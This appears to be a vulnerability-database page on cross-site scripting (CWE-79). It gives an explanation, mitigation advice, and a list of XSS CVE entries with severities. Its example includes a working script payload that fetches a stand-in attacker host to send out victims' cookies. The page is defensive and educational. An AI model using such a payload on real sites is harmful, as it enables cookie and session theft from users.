Fallos del tipo CWE-79

29.760 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-28330MEDIUMSolarWinds Observability Self-Hosted Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2025-25035HIGHJalios JPlatform 10 Multiple Cross-Site Scripting (XSS)EPSS 0.4%CVE-2022-44582MEDIUMWordPress Apptivo Business Site CRM Plugin <= 3.0.12 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-23674MEDIUMWordPress WP Original Media Path Plugin <= 2.4.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-8917MEDIUMAnWP Football Leagues <= 0.16.7 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2023-23995MEDIUMWordPress TinyMCE Custom Styles Plugin <= 1.1.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-42069MEDIUMOnline Birth Certificate Management System version 1.0 suffers from a persistent Cross Site Scripting (XSS) vulnerability.EPSS 0.4%CVE-2023-28533MEDIUMWordPress Cab Grid Plugin <= 1.5.15 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-26989MEDIUMLibreNMS has Stored XSS in Alert RuleEPSS 0.4%CVE-2026-2834HIGHAge Verification & Identity Verification by Token of Trust <= 3.32.3 - Unauthenticated Stored Cross-Site Scripting via 'description' ParameterEPSS 0.4%CVE-2023-24383MEDIUMWordPress Namaste! LMS Plugin <= 2.5.9.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-20386MEDIUMA vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, reEPSS 0.4%CVE-2024-8668MEDIUMShopLentor – WooCommerce Builder for Elementor & Gutenberg +12 Modules – All in One Solution (formerly WooLentor) <= 2.9.7 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-24396MEDIUMWordPress VikBooking Hotel Booking Engine & PMS Plugin <= 1.5.11 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-44266MEDIUMWordPress WP Adminify Plugin <= 3.1.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-11459MEDIUMCountry Blocker <= 3.2 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2022-47170MEDIUMWordPress Unlimited Elements For Elementor (Free Widgets, Addons, Templates) Plugin <= 1.5.48 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-22679MEDIUMWordPress WP Better Emails Plugin <= 0.4 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-25793MEDIUMWordPress Link Juice Keeper Plugin <= 2.0.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-44239MEDIUMWordPress WWM Social Share On Image Hover Plugin <= 2.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%